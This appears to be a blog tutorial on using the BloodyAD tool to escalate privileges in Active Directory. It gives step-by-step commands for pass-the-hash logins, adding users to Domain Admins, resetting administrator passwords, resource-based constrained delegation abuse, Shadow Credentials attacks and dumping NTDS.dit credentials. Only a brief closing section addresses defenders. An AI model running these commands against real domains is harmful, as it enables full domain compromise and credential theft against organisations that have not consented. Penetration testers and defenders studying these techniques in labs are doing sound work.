BloodyAD Unleashed: Master Active Directory Privilege Escalation Like a Pro Hacker + Video

By /

Listen to this Post

Featured Image

Introduction:

Active Directory (AD) remains the primary authentication and authorization hub for most enterprise networks, but its complex permissions structure—specifically Discretionary Access Control Lists (DACLs)—is riddled with abuse vectors. BloodyAD emerges as a powerful exploitation tool that automates the manipulation of AD objects, enabling red teamers to escalate privileges, achieve persistence, and compromise the entire domain by abusing misconfigured ACLs, Kerberos delegations, and shadow credentials.

Learning Objectives:

  • Master BloodyAD to enumerate and abuse dangerous AD permissions such as GenericAll, WriteDACL, and WriteOwner for privilege escalation.
  • Execute advanced attack techniques including RBCD (Resource-Based Constrained Delegation) and Shadow Credentials to gain Domain Admin access.
  • Set up a complete Active Directory pentesting lab and integrate BloodyAD with BloodHound for path analysis and automated exploitation.

You Should Know:

  1. Lab Setup and BloodyAD Installation – Your Active Directory Playground

Before launching attacks, you need a controlled environment. Deploy a Windows Server 2019/2022 as Domain Controller (DC) and a Windows 10/11 workstation as a member machine. For Linux attackers, use Kali or Ubuntu. BloodyAD is Python-based and requires Python 3.9+.

Step‑by‑step guide:

1. Install BloodyAD on Linux:

sudo apt update && sudo apt install python3-pip python3-venv -y
git clone https://github.com/CravateRouge/bloodyAD.git
cd bloodyAD
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Install required dependencies for Kerberos:

sudo apt install krb5-user libkrb5-dev -y
pip install impacket bloodhound

3. Verify installation:

python3 bloodyAD.py --help

4. Set up domain targets: Add your DC IP to `/etc/hosts` (e.g., 192.168.1.10 dc.domain.local). Ensure NTP sync for Kerberos: sudo timedatectl set-ntp true.
5. Windows attack host alternative: Use `pip install bloodyAD` directly on Windows with Python, or leverage WSL for native Linux tooling.

  1. Authentication Methods – Password, Hash, and Kerberos Tickets

BloodyAD supports multiple authentication mechanisms. You’ll need valid credentials or hashes from initial foothold (e.g., LLMNR/NBT-NS poisoning, SMB relay).

Step‑by‑step guide:

1. Password authentication:

python3 bloodyAD.py -d domain.local -u low_privilege_user -p 'P@ssw0rd' --host 192.168.1.10 getObject 'CN=Admin,CN=Users,DC=domain,DC=local'

2. Pass-the-Hash (NTLM):

python3 bloodyAD.py -d domain.local -u low_privilege_user --hashes :aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c --host 192.168.1.10 getObject 'DC=domain,DC=local'

3. Kerberos ticket authentication (after obtaining a TGT):

export KRB5CCNAME=/path/to/your.ccache
python3 bloodyAD.py -d domain.local -k --host dc.domain.local getObject 'CN=Admin,CN=Users,DC=domain,DC=local'

4. Using a CCACHE file from Rubeus or Impacket:

 On Windows, export ticket with Rubeus
Rubeus.exe dump /service:krbtgt /nowrap
 Convert to ccache on Linux
python3 /usr/share/doc/python3-impacket/examples/ticket_converter.py ticket.kirbi ticket.ccache

5. Test connectivity: `python3 bloodyAD.py -d domain.local -u user -p pass –host dc getDomainInfo`

3. BloodHound Path Analysis – Mapping the Attack Surface

BloodHound visualizes AD attack paths. Integrate it with BloodyAD to pinpoint critical DACL abuses.

Step‑by‑step guide:

1. Run SharpHound on Windows target:

.\SharpHound.exe -c All -d domain.local --outputdirectory C:\temp

2. Import data into BloodHound (Neo4j + BloodHound CE):

sudo neo4j console
 Access http://localhost:7474, default user neo4j/neo4j
bloodhound --no-sandbox

3. Query for high‑value targets:

– `MATCH (u:User) WHERE u.admincount=True RETURN u` – Find Domain Admins.
– `MATCH p=(u:User)-[:GenericAll]->(g:Group) RETURN p` – Dangerous GenericAll edges.
4. Export a target user or group DN: Right-click node → “Copy Object DN”. Example: CN=IT_Support,OU=ServiceAccounts,DC=domain,DC=local.
5. Map to BloodyAD exploitation: Use the DN in BloodyAD commands as shown in subsequent sections.

  1. Adding Users to Privileged Groups – GenericAll & GenericWrite Abuse

The GenericAll permission on a group allows an attacker to add any user to that group, including Domain Admins.

Step‑by‑step guide:

  1. Enumerate GenericAll permissions for a group you control: 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc getObjectAttributes 'CN=Domain Admins,CN=Users,DC=domain,DC=local' | grep -i genericall
  2. If you have GenericAll over a user, reset their password: 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc setPassword 'CN=TargetUser,CN=Users,DC=domain,DC=local' 'NewP@ssw0rd123!'
  3. Add your controlled user to a privileged group (e.g., Domain Admins): 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc addGroupMember 'CN=Domain Admins,CN=Users,DC=domain,DC=local' 'CN=YourUser,CN=Users,DC=domain,DC=local'

4. Verify membership:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc getGroupMembers 'CN=Domain Admins,CN=Users,DC=domain,DC=local'

5. For GenericWrite over a user (allows updating attributes), modify `servicePrincipalName` to set up Kerberoasting:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc setAttribute 'CN=TargetUser,CN=Users,DC=domain,DC=local' servicePrincipalName 'fake/anything'
  1. WriteDACL & WriteOwner Exploitation – Taking Full Control

WriteDACL allows you to modify the ACL of an object, effectively granting yourself any permission. WriteOwner lets you change the object owner, then modify DACLs.

Step‑by‑step guide:

  1. Check if you have WriteDACL on a domain admin user: 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc getObjectSecurity 'CN=Admin,CN=Users,DC=domain,DC=local' | grep -A5 "WRITE_DACL"

2. Grant yourself FullControl using BloodyAD:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc addFullControl 'CN=Admin,CN=Users,DC=domain,DC=local' 'CN=Attacker,CN=Users,DC=domain,DC=local'

3. Now reset Admin’s password:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc setPassword 'CN=Admin,CN=Users,DC=domain,DC=local' 'Hacked@123'

4. For WriteOwner, first take ownership:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc setOwner 'CN=TargetGroup,CN=Users,DC=domain,DC=local' 'CN=Attacker,CN=Users,DC=domain,DC=local'

5. After becoming owner, add WriteDACL to yourself, then add to group.

6. Resource-Based Constrained Delegation (RBCD) – Machine Takeover

RBCD allows a compromised machine account to impersonate any user to any service. By abusing msDS-AllowedToActOnBehalfOfOtherIdentity, you can escalate to Domain Admin.

Step‑by‑step guide:

  1. Add a new machine account (if you have GenericAll over a computer object or `MachineAccountQuota` > 0): 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc addComputer attackerComputer 'P@ssw0rd'
  2. Set RBCD permissions on a high‑value target (e.g., DC): 
    python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc setRBCD 'CN=DC,OU=Domain Controllers,DC=domain,DC=local' 'CN=attackerComputer,CN=Computers,DC=domain,DC=local'
  3. Request a TGT for Domain Admin using RBCD with Impacket: 
    getST.py -spn cifs/dc.domain.local -impersonate Administrator -dc-ip 192.168.1.10 domain.local/attackerComputer:P@ssw0rd

4. Use the ticket to access the DC:

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass dc.domain.local

5. Clean up: Remove RBCD after testing: python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc clearRBCD 'CN=DC,OU=Domain Controllers,DC=domain,DC=local'.

7. Shadow Credentials Attack – Key Trust Compromise

Shadow Credentials add a rogue public key to a target user or computer, enabling authentication via PKINIT Kerberos.

Step‑by‑step guide:

1. Generate a self‑signed certificate for the target:

openssl req -new -newkey rsa:2048 -nodes -out cert.req -keyout priv.key -subj "/CN=Administrator"

2. Add the key credential to the target account using BloodyAD:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc addShadowCredential 'CN=Admin,CN=Users,DC=domain,DC=local' cert.req

3. Request a TGT using the private key:

PKINITtools/gettgtpkinit.py -cert-pem cert.pem -key-pem priv.key domain.local Administrator admin.ccache

4. Use the TGT to dump NTDS.dit:

export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass dc.domain.local

5. Remove shadow credential after compromise:

python3 bloodyAD.py -d domain.local -u attacker -p 'P@ss' --host dc removeShadowCredential 'CN=Admin,CN=Users,DC=domain,DC=local' <keyID>

What Undercode Say:

  • BloodyAD lowers the barrier for ACL‑based attacks – combining enumeration and exploitation into a single CLI tool reduces manual LDAP scripting and error rates.
  • Defenders must audit Dangerous ACLs proactively – tools like BloodHound and PowerShell’s `Get-ADObjectAcl` should run daily; prioritize GenericAll, WriteDACL, and WriteOwner on privileged objects.
  • Shadow Credentials and RBCD are silent persistence mechanisms – traditional EDRs may miss PKINIT abuse; monitor Event ID 4768 (TGT requests) for unusual certificate‑based logins.

Prediction:

As organizations accelerate cloud‑hybrid AD migrations, legacy on‑premise DACL misconfigurations will remain prime targets. Attackers will increasingly automate BloodyAD within C2 frameworks (e.g., Cobalt Strike’s execute‑assembly) to perform real‑time privilege escalation. Expect Microsoft to introduce stricter default ACLs and enhanced Kerberos delegation logging by 2027, but legacy domains will stay vulnerable. Red teams should master BloodyAD now; blue teams must deploy AD security baselines like PingCastle and PurpleKnight to detect these abuse paths before adversaries weaponize them.

▶️ Related Video (86% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Active Directory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: